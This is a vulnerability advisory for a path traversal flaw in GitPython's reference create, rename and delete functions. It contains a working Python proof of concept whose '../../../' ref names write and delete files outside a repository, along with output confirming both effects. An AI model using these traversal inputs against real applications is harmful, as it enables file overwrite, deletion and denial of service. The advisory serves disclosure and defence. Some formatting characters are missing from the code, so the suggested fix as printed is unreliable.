CVE-2026-44243: GitPython: Path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

---

📦 Affected Versions

Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

---

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

---

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference.checkrefnamevalid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.setreference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

---

Affected Code

python def setreference(self, ref, logmsg=None): ... fpath = self.abspath assuredirectoryexists(fpath, isfile=True)

lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ...

python @classmethod def delete(cls, repo, path): fullrefpath = cls.tofullpath(path) abspath = os.path.join(repo.commondir, fullrefpath) if os.path.exists(abspath): os.remove(abspath)

python def rename(self, newpath, force=False): newpath = self.tofullpath(newpath) newabspath = os.path.join(gitdir(self.repo, newpath), newpath) curabspath = os.path.join(gitdir(self.repo, self.path), self.path) ... os.rename(curabspath, newabspath)

---

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

---

🧪 Proof of Concept

Setup

bash pip install GitPython==3.1.46 python poc.py

---

Exploit

python import shutil from pathlib import Path

from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base)

repodir = base / "repo" repo = Repo.init(repodir)

(repodir / "a.txt").writetext("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init")

outsidewrite = base / "outsidewrite.txt" outsidedelete = base / "outsidedelete.txt" outsidedelete.writetext("DELETE ME\n", encoding="utf-8")

print(f"repodir = {repodir}") print(f"outsidewrite = {outsidewrite}") print(f"outsidedelete = {outsidedelete}")

Reference.create(repo, "../../../outsidewrite.txt", "HEAD")

print("\n[+] outsidewrite exists:", outsidewrite.exists()) if outsidewrite.exists(): print("[+] outsidewrite content:") print(outsidewrite.readtext(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outsidedelete.txt")

print("\n[+] outsidedelete exists after delete:", outsidedelete.exists())

---

Result

text repodir = ...\gp-ghsa-poc\repo outsidewrite = ...\gp-ghsa-poc\outsidewrite.txt outsidedelete = ...\gp-ghsa-poc\outsidedelete.txt

[+] outsidewrite exists: True [+] outsidewrite content: <current HEAD commit SHA>

[+] outsidedelete exists after delete: False

---

💥 Impact

What can an attacker do?

Create or overwrite files outside the repository metadata directory Delete attacker-chosen files reachable from the process permissions Corrupt application state or configuration files Cause denial of service by deleting or overwriting important files

---

Security Impact

Confidentiality: Low Integrity: High Availability: High

---

Who is affected?

Applications that expose GitPython reference operations to user-controlled input Git automation services, repository management backends, CI/CD helpers, and developer platforms Multi-user environments where one user can influence ref names processed on behalf of another workflow

---

🛠️ Mitigation / Fix

Recommended Fix

python def validaterefwritepath(repo, path, , forgitdir=False): SymbolicReference.checkrefnamevalid(path)

base = Path(repo.gitdir if forgitdir else repo.commondir).resolve() target = (base / path).resolve()

if base not in [target, target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}")

return str(target)

python fullrefpath = cls.tofullpath(path) validaterefwritepath(repo, fullrefpath)